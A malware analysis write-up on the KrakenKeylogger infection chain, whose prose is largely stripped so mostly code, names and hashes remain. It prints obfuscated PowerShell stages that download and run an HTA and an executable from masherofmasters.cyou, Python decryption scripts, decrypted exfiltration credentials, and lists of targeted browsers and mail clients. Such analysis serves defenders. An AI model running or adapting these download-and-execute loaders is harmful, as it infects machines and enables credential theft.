- hxxps://0xtoxin.github.io/malware%20analysis/KrakenKeylogger-pt1/#kraken-configs
LNK
LEcmd
PowerShell'
se1.hta
.NET
1
2
Payload Kraken'
Kraken'
IOC's
2
, "KrakenKeylogger".
, , :
.zip , .lnk :
LNK
LEcmd
.lnk LeCMD. , .lnk PowerShell.exe :
PowerShell'
:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ProgressPreference = 0;
function nvRClWiAJT($OnUPXhNfGyEh){
$OnUPXhNfGyEh[$OnUPXhNfGyEh.Length..0] -join('')
};
function sDjLksFILdkrdR($OnUPXhNfGyEh){
$vecsWHuXBHu = nvRClWiAJT $OnUPXhNfGyEh;
for($TJuYrHOorcZu = 0;$TJuYrHOorcZu -lt $vecsWHuXBHu.Length;$TJuYrHOorcZu += 2){
try{
$zRavFAQNJqOVxb += nvRClWiAJT $vecsWHuXBHu.Substring($TJuYrHOorcZu,2)
}
catch{
$zRavFAQNJqOVxb += $vecsWHuXBHu.Substring($TJuYrHOorcZu,1)
}
};
$zRavFAQNJqOVxb
};
$NpzibtULgyi = sDjLksFILdkrdR 'aht1.sen/hi/coucys.erstmaofershma//s:tpht';
$cDkdhkGBtl = $env:APPDATA + '\' + ($NpzibtULgyi -split '/')[-1];
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
$wbpiCTsGYi = wget $NpzibtULgyi -UseBasicParsing;
[IO.File]::WriteAllText($cDkdhkGBtl, $wbpiCTsGYi); & $cDkdhkGBtl;
sleep 3;
rm $cDkdhkGBtl;
, URL' payload'. URL :
nvRClWiAJT.
for 2 .
2 , , .
python', c
input_string = 'aht1.sen/hi/coucys.erstmaofershma//s:tpht'[::-1]
output_string = ''
for i in range(0, len(input_string), 2):
try:
tmp = input_string[i] + input_string[i + 1]
output_string += tmp[::-1]
except:
output_string += input_string[i]
print(output_string)
https://masherofmasters.cyou/chin/se1.hta
se1.hta
payload powershell':
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted
function WQgtWbWK($FL, $i){
[IO.File]::WriteAllBytes($FL, $i)
};
function APcZNMgjQ($FL){
if($FL.EndsWith((QXUpF @(4995,5049,5057,5057))) -eq $True){
Start-Process (QXUpF @(5063,5066,5059,5049,5057,5057,5000,4999,4995,5050,5069,5050)) $FL
}else{
Start-Process $FL
}
};
function laiLJMT($eh){
$LM = New-Object (QXUpF @(5027,5050,5065,4995,5036,5050,5047,5016,5057,5054,5050,5059,5065));
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;
$i = $LM.DownloadData($eh);
return $i
};
function QXUpF($P){
$n=4949;
$s=$Null;
foreach($WK in $P){
$s+=[char]($WK-$n)
};
return $s
};
function deaNPih(){
$AVYABiApT = $env:APPDATA + '\';
$XdOFJCmMx = laiLJMT (QXUpF @(5053,5065,5065,5061,5064,5007,4996,4996,5058,5046,5064,5053,5050,5063,5060,5051,5058,5046,5064,5065,5050,5063,5064,4995,5048,5070,5060,5066,4996,5048,5053,5054,5059,4996,5064,5050,4998,4995,5050,5069,5050));
$qNfQDXYlR = $AVYABiApT + 'se1.exe';
WQgtWbWK $qNfQDXYlR $XdOFJCmMx;
APcZNMgjQ $qNfQDXYlR;;;;
}
deaNPih;
, QXUpF, 4949. , :
stringsList = [[4995,5049,5057,5057],[5063,5066,5059,5049,5057,5057,5000,4999,4995,5050,5069,5050],[5027,5050,5065,4995,5036,5050,5047,5016,5057,5054,5050,5059,5065],[5053,5065,5065,5061,5064,5007,4996,4996,5058,5046,5064,5053,5050,5063,5060,5051,5058,5046,5064,5065,5050,5063,5064,4995,5048,5070,5060,5066,4996,5048,5053,5054,5059,4996,5064,5050,4998,4995,5050,5069,5050]]
for string in stringsList:
tmp = ''
for char in string:
tmp += chr(char - 4949)
print(f'[+] - {tmp}')
[+] - .dll
[+] - rundll32.exe
[+] - Net.WebClient
[+] - https://masherofmasters.cyou/chin/se1.exe
, .hta powershell'.
.NET
1
(se1.exe) .NET:
DataBasePracticalJob RC2, - MD5 QEssDJZhQnLywDnJGpBEr ( , BigEndianUnicode, 0x00 ). :
CyberChef', MD5. , RC2 CyberChef', 2- :
2
- .NET DLL, .
DLL , syncfusion:
DLL 2 , , - SeaCyanPul .DLL, payload' RegAsm.exe ( , 3- Malware Bazaar).
UnknownDetails payload', AES-ECB IV, sha256 :
, payload RegAsm.exe
Payload Kraken'
Payload Kraken' - 32- .NET, DnSpy .
Kraken'
Kraken' .cctor :
DES-EBC IV, MD5 , : swCpiTiAhkkEpyDZTnAGhOBZpr, python', :
import malduck, base64
from Crypto.Cipher import DES
encryptedStringsDict = {
'PersonalEmail': 'KYlYJirrzmj9NFMzqVxdqqmBPWvogKC9',
'PersonalEmailPassword': 'lNI13bp6TxER2sT4YYxfjw==',
'PersonalEmailHost': '6pvSg6TWhxedDZq2k3/l06fwica30Jlg',
'TheSMTPReciver': 'qUQWGy6wVRm4PKDty97tnE+Z3alydqyP',
'PersonalEmailPort': 'VqONpyzLqFY=',
'PersonalHostLink': 'EdrE+GGMX48=',
'PersonalHostPassword': 'EdrE+GGMX48=',
'PersonalHostUsername': 'EdrE+GGMX48=',
'TheTelegramToken': 'EdrE+GGMX48=',
'PersonalTeleID': 'EdrE+GGMX48='
}
md5hashKey = malduck.md5(b'swCpiTiAhkkEpyDZTnAGhOBZpr')[:8]
for k,v in encryptedStringsDict.items():
des = DES.new(md5hashKey, DES.MODE_ECB)
decVal = des.decrypt(base64.b64decode(v))
print(f'[+] {k} - {decVal.decode()}')
[+] PersonalEmail - onuma.b@thereccorp.com
[+] PersonalEmailPassword - O@1234
[+] PersonalEmailHost - mail.thereccorp.com
[+] TheSMTPReciver - jbs.hannong@gmail.com
[+] PersonalEmailPort - 587
[+] PersonalHostLink
[+] PersonalHostPassword
[+] PersonalHostUsername
[+] TheTelegramToken
[+] PersonalTeleID
, Kraken', :
Kraken , ( ), :
TimeToRun
LoadWeb
Disable_Task
Disable_CommandPrompt
Disable_Regis
ProcessKiller
, , / VM.
Kraken , Outlook, Foxmail, ThunderBird.
:
Google Chrome
QQ Browser
Vivaldi Browser
Chromium Browser
Cent Browser
Chedot Browser
360Browser
Brave
Torch
UC Browser
Blisk
Opera
Avast Browser
Edge
Google Chrome Canary
Firefox
CocCoc
Citrio Browser
CoolNovo
Epic Privacy Browser
Kraken FileZilla
Kraken :
FTP
SMTP
Telegram Bot
FTP
SMTP
Telegram Bot
Kraken + :
IOC's
Doc signed Subcontract Agreement.zip - 79571f0ad832a31a1121f7c698496de7e4700271ccf0a7ed7fe817688528a953
seedof.lnk - beec3ec08fba224c161464ebcc64727912c6678dd452596440809ce99c8390fd
1st.exe - dddaf7dfb95c12acaae7de2673becf94fb9cfa7c2d83413db1ab52a5d9108b79
2nd.dll - f7c66ce4c357c3a7c44dda121f8bb6a62bb3e0bc6f481619b7b5ad83855d628b
3rd.dll - 43e79df88e86f344180041d4a4c9381cc69a8ddb46315afd5c4c3ad9e6268e17
Kraken.exe - ee76fec4bc7ec334cc6323ad156ea961e27b75eaa7efb4e88212b81e65673000
/ .NET, , , /, .
2
, , , , .